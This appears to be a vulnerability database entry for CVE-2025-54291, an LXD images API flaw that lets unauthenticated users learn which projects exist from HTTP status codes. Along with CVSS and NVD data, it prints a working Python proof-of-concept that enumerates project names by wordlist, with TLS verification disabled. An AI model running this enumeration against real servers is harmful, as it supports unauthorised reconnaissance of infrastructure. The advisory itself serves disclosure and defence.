Security Vulnerability Report
中文
CVE-2025-54291 CVSS 5.3 MEDIUM

CVE-2025-54291

Published: 2025-10-02 10:15:39
Last Modified: 2025-10-24 14:11:08

Description

Information disclosure in images API in Canonical LXD before 6.5 and 5.21.4 on all platforms allows unauthenticated remote attackers to determine project existence via differing HTTP status code responses.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:* - VULNERABLE
Canonical LXD < 5.21.4
Canonical LXD 5.x < 5.21.4
Canonical LXD 6.x < 6.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-54291 PoC - LXD Images API Project Enumeration # Exploits information disclosure via differing HTTP status codes # Author: Security Researcher import requests import sys import concurrent.futures from urllib3.exceptions import InsecureRequestWarning # Suppress SSL warnings requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) TARGET_URL = "https://lxd-target.example.com:8443" WORDLIST = [ "default", "admin", "test", "production", "staging", "dev", "development", "backend", "frontend", "internal", "project1", "project2", "team-a", "team-b", "shared", "public", "private", "backup", "archive", "legacy" ] def check_project(project_name): """ Send a request to LXD images API with a specific project parameter. Different HTTP status codes indicate project existence. """ try: # LXD images API endpoint with project parameter url = f"{TARGET_URL}/1.0/images" params = {"project": project_name} headers = {"Accept": "application/json"} response = requests.get( url, params=params, headers=headers, verify=False, timeout=10 ) # 200 = project exists, 403/404 = project doesn't exist or access denied if response.status_code == 200: return (project_name, True, response.status_code) elif response.status_code == 403: return (project_name, False, response.status_code) elif response.status_code == 404: return (project_name, False, response.status_code) else: return (project_name, None, response.status_code) except requests.exceptions.RequestException as e: return (project_name, None, str(e)) def main(): print(f"[*] CVE-2025-54291 - LXD Project Enumeration PoC") print(f"[*] Target: {TARGET_URL}") print(f"[*] Testing {len(WORDLIST)} project names...\n") existing_projects = [] # Use thread pool for faster enumeration with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(check_project, name): name for name in WORDLIST} for future in concurrent.futures.as_completed(futures): project_name, exists, status = future.result() if exists is True: print(f"[+] FOUND: '{project_name}' (status: {status})") existing_projects.append(project_name) elif exists is False: print(f"[-] Not found: '{project_name}' (status: {status})") else: print(f"[?] Error: '{project_name}' (status: {status})") print(f"\n[*] Enumeration complete. Found {len(existing_projects)} existing projects:") for p in existing_projects: print(f" - {p}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54291", "sourceIdentifier": "[email protected]", "published": "2025-10-02T10:15:39.387", "lastModified": "2025-10-24T14:11:07.983", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Information disclosure in images API in Canonical LXD before 6.5 and 5.21.4 on all platforms allows unauthenticated remote attackers to determine project existence via differing HTTP status code responses."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-209"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "5.21.4", "matchCriteriaId": "FE33A015-C527-4726-8CBE-6EC6420B8933"}, {"vulnerable": true, "criteria": "cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.5", "matchCriteriaId": "CCADB2F1-F122-4A17-88DD-F3FDD4ED796B"}]}]}], "references": [{"url": "https://github.com/canonical/lxd/security/advisories/GHSA-xch9-h8qw-85c7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}